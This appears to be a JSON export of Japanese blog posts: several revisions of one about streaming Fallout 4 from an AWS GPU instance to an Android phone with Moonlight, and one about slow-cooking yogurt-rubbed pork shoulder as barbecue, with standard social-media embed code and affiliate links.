font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-03-06T06:50:50+00:00\"\u003e2016 3月 5 10:50午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n一発ネタと思いきやちゃんと遊べます。\r\n\r\n[Moonlight Game Streaming](http://moonlight-stream.com/)というツールがあり、どんなデバイスでも nvidia shield に見せかけて nvidia のゲームストリーミングを動かしてしまうということができます。\r\n\r\n本来であれば、これは家の中においたゲーム PC からストリーミングして遊ぶものなのですが、 [AWS の GPU インスタンスでゲームを遊ぶ](http://lg.io/2015/07/05/revised-and-much-faster-run-your-own-highend-cloud-gaming-service-on-ec2.html)というのがあって、 AWS と Android を VPN で繋いで、 AWS から Android にゲームをストリーミングさせています。\r\n\r\nコントローラーは\u003ca href=\"http://www.amazon.co.jp/gp/product/B00IZ76L4O/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00IZ76L4O\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eこれ\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00IZ76L4O\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00IZ76L4O\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。 iPhone + Moonlight だとちゃんと動かなかったので、 Android 端末を用意してください。\r\n\r\nAWS で Fallout 4 を実行すると何故か異様にロードが遅い(マップ移動で 50 秒とか待たせれる)という問題があるのですが、まあそれさえ我慢すれば遊べます。\r\n\r\nただ、限界ももちろんあって、パッドの反応性が微妙なので、 V.A.T.S. というシステムがあり、また近接攻撃が強力な FO あたりが遊べる限界という感じがあります。具体的には Borderlands 以上にシューター寄りだと結構厳しい。\r\n\r\nPC 無しで最先端の PC ゲームを超高画質で遊ぶというお話でした。","created_at":"2016-03-06T12:19:45.000Z","updated_at":"2016-03-06T12:19:45.000Z"},{"id":2944,"name":"text/PC Game without PC","body":"%blog%\r\n\r\nまずはこちらをご覧ください。携帯電話で Fallout 4 をプレイする様子です。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BCmiaHfPxMB/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e携帯ゲーム\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-03-06T06:50:50+00:00\"\u003e2016 3月 5 10:50午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n一発ネタと思いきやちゃんと遊べます。\r\n\r\n[Moonlight Game Streaming](http://moonlight-stream.com/)というツールがあり、どんなデバイスでも nvidia shield に見せかけて nvidia のゲームストリーミングを動かしてしまうということができます。\r\n\r\n本来であれば、これは家の中においたゲーム PC からストリーミングして遊ぶものなのですが、 [AWS の GPU インスタンスでゲームを遊ぶ](http://lg.io/2015/07/05/revised-and-much-faster-run-your-own-highend-cloud-gaming-service-on-ec2.html)というのがあって、 AWS と Android を VPN で繋いで、 AWS から Android にゲームをストリーミングさせています。\r\n\r\nコントローラーは\u003ca href=\"http://www.amazon.co.jp/gp/product/B00IZ76L4O/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00IZ76L4O\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eこれ\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00IZ76L4O\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00IZ76L4O\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。 iPhone + Moonlight だとちゃんと動かなかったので、 Android 端末を用意してください。\r\n\r\nAWS で Fallout 4 を実行すると何故か異様にロードが遅い(マップ移動で 50 秒とか待たせれる)という問題があるのですが、まあそれさえ我慢すれば遊べます。\r\n\r\nただ、限界ももちろんあって、パッドの反応性が微妙なので、 V.A.T.S. というシステムがあり、また近接攻撃が強力な FO あたりが遊べる限界という感じがあります。具体的には Borderlands 以上にシューター寄りだと結構厳しい。\r\n\r\nPC 無しで最先端の PC ゲームを超高画質で遊ぶというお話でした。\r\n\r\n### 追記\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e神通力がついてきてボダランも moonlight + ipega のパッドで遊べるようになってきた\u003c/p\u003e\u0026mdash; ルビー (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/706498320865202177\"\u003eMarch 6, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2016-03-06T15:15:52.000Z","updated_at":"2016-03-06T15:15:52.000Z"},{"id":2945,"name":"text/PC Game without PC","body":"%blog%\r\n\r\nまずはこちらをご覧ください。携帯電話で Fallout 4 をプレイする様子です。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BCmiaHfPxMB/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e携帯ゲーム\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-03-06T06:50:50+00:00\"\u003e2016 3月 5 10:50午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n一発ネタと思いきやちゃんと遊べます。\r\n\r\n[Moonlight Game Streaming](http://moonlight-stream.com/)というツールがあり、どんなデバイスでも nvidia shield に見せかけて nvidia のゲームストリーミングを動かしてしまうということができます。\r\n\r\n本来であれば、これは家の中においたゲーム PC からストリーミングして遊ぶものなのですが、 [AWS の GPU インスタンスでゲームを遊ぶ](http://lg.io/2015/07/05/revised-and-much-faster-run-your-own-highend-cloud-gaming-service-on-ec2.html)というのがあって、 AWS と Android を VPN で繋いで、 AWS から Android にゲームをストリーミングさせています。\r\n\r\nコントローラーは\u003ca href=\"http://www.amazon.co.jp/gp/product/B00PBNGR8U/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00PBNGR8U\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eコレ\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00PBNGR8U\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00PBNGR8U\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。 iPhone + Moonlight だとちゃんと動かなかったので、 Android 端末を用意してください。\r\n\r\nAWS で Fallout 4 を実行すると何故か異様にロードが遅い(マップ移動で 50 秒とか待たせれる)という問題があるのですが、まあそれさえ我慢すれば遊べます。\r\n\r\nただ、限界ももちろんあって、パッドの反応性が微妙なので、 V.A.T.S. というシステムがあり、また近接攻撃が強力な FO あたりが遊べる限界という感じがあります。具体的には Borderlands 以上にシューター寄りだと結構厳しい。\r\n\r\nPC 無しで最先端の PC ゲームを超高画質で遊ぶというお話でした。\r\n\r\n### 追記\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e神通力がついてきてボダランも moonlight + ipega のパッドで遊べるようになってきた\u003c/p\u003e— ルビー (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/706498320865202177\"\u003eMarch 6, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2016-03-06T15:36:25.000Z","updated_at":"2016-03-06T15:36:25.000Z"},{"id":2946,"name":"text/バーベキュー","body":"%blog%\r\n\r\nそういうわけですから、今日はバーベキューに取り組みます。長い記事を読まない皆さんの為にとりあえず完成したものを共有したいと思います。\r\n\r\n![img](http://s.ssig33.com/a/982863e847754d90b4ddadad38e94ab1)\r\n\r\nバーベキューはゴールデンウイークの娯楽としては極めて一般的です。僕は普通の人間なのでバーベキューをします。\r\n\r\nまずはバーベキューとは何かという問題について考えていきます。最初に以下の画像をご覧ください。\r\n\r\n![img](http://s.ssig33.com/a/8dc8b6c70ef94f43acbaa61808e645ff)\r\n\r\n左は単なる外でやる焼肉、右は美味しそうな食べ物であることが一目瞭然です。我々は右を目指さなければならない。\r\n\r\nそこでいくつかバーベキューの定義を調べてみると、バーベキューラブやらなんらかのソースやらを揉み込んだ肉を長時間グリルで蒸し焼きにしたものがバーベキューであることが分かります。\r\n\r\n肉が焼き上がったあとにこれでもかというほどソースを塗るのがテキサス風というイメージが僕のなかではなんとなくありましたが、あれは焼き上がりから提供までに時間がかかるバーベキュー大会やショボいバーベキューレストランの流儀のようです。\r\n\r\nそういうわけでやっていきます。\r\n\r\n肉は西友で 1g 1 円の豚肩ロースを使います。本来は牛のブリスケットや豚のスペアリブを使うべきですが、バーベキューを初めようと思った時点で既に午後 8 時なので材料の入手には制限があります。\r\n\r\n近所の西友では 670g が一番デカいやつだったのでそれにしました。\r\n\r\n次にバーベキューラブをこれに揉み込みます。バーベキューラブは塩、砂糖、スパイスをまぜたものです。\r\n\r\nチリパウダー、にんにく、塩、砂糖、クミンあたりを適当にミックスします。これで出来がった粉をドライラブといい、ここに油、水、酢、ヨーグルトなどを混ぜたものをウェットラブというそうです。ウェットラブのほうが揉み込んでから焼くまでの時間が短くなるらしい。\r\n\r\nというわけですからとりあえずヨーグルトを適当に投入し混ぜてみます。するとよい感じになったので水や油は使わないことにします。\r\n\r\nこれを肉に揉み込むとこのようになります。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE00s_YPxNg/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこれは気分が出てきたので急に始めたバーベキューの雄姿です、ヨーグルトラブを塗りたくってある\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T13:02:51+00:00\"\u003e2016 4月 30 6:02午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nヨーグルト、クミンが入っているせいか香りとしてはタンドリーチキンに近い生命体になっています。これをこのまま 3 時間ほど放置します。\r\n\r\nすると午前 1 時になりますからこれを蒸し焼きにしていきます。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE1G_30vxBo/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこのようなことが行われていきます\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T15:42:43+00:00\"\u003e2016 4月 30 8:42午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nこうして\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE1HwKXPxDu/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e行われていきます\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T15:49:19+00:00\"\u003e2016 4月 30 8:49午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nこう。下から二番目の火力でやっていきます。\r\n\r\n8 時間ぐらいは焼けばいいだろうと思いますから、これを台所に放置したら、そのまま寝ます。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE2BxFCvxCC/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eバーベキュー現状\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-05-01T00:16:15+00:00\"\u003e2016 4月 30 5:16午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\n起きるとこのようになっていました。写真だと分かりづらいかもしれませんが、だいぶ縮んでます。フライパンから蒸し器を取り除くと以下のように油がたまっています。\r\n\r\n![img](http://s.ssig33.com/a/e175826e9e8a4c94af65ddf1a7149c7c)\r\n\r\n精製したらなにかに使えそうな気もしますが、ここはアメリカ風に捨てます。ペーパーに吸わせてゴミ箱に直行。\r\n\r\n肉をさらにアルミホイルで包んで、オーブントースターで 15 分ほど焼き、さらに庫内でホイルに包んだまま 10 分ほど放置します。それをまな板の上に取り出し切ろうとすると以下のようになります。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE2GLsnvxMK/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eすごい\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-05-01T00:54:50+00:00\"\u003e2016 4月 30 5:54午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nやわらかすぎて扱いづらいレベル。これを皿に盛り付けると、上に貼った完成図のようになります。あらためて画像をどうぞ。\r\n\r\n![img](http://s.ssig33.com/a/ac9506e3a97a47629512d2215c4d9e88)\r\n\r\n異様にやわらかく、余計な脂が落ちていて、味もしっかりしているのでこれが一瞬で消滅します。とてもよかったと思います。\r\n\r\nこれは、肉やその脂があまり好きではないという人にこそ食べてほしいものだと思いました。\r\n\r\n\u003cscript async defer 